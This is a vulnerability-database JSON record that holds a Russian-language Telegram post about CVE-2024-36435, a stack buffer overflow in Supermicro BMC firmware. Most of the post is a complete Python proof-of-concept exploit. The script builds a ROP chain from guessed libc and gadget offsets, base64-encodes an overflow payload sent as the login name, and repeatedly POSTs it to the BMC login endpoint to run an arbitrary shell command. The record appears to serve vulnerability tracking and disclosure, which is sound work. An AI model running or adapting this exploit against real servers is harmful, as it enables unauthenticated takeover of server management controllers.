{"uuid": "475ad816-40f1-4c51-9073-96b265eacdf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000  # we try to guess\ngadget_1_offset = 0x000D8874  # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4  # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n    b\"\\x00\" * 456\n    + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\")  # gadget_1\n    + b\"\\x00\" * 12\n    + int.to_bytes(libc_base + system_offset, 4, \"little\")  # system\n    + b\"\\x00\" * 4\n    + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\")  # gadget_2\n    + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n    print(f\"Request: '{i}'\")\n    r = requests.post(target, data=data, verify=False)\n    i += 1", "creation_timestamp": "2026-07-14T00:01:00.583160Z"}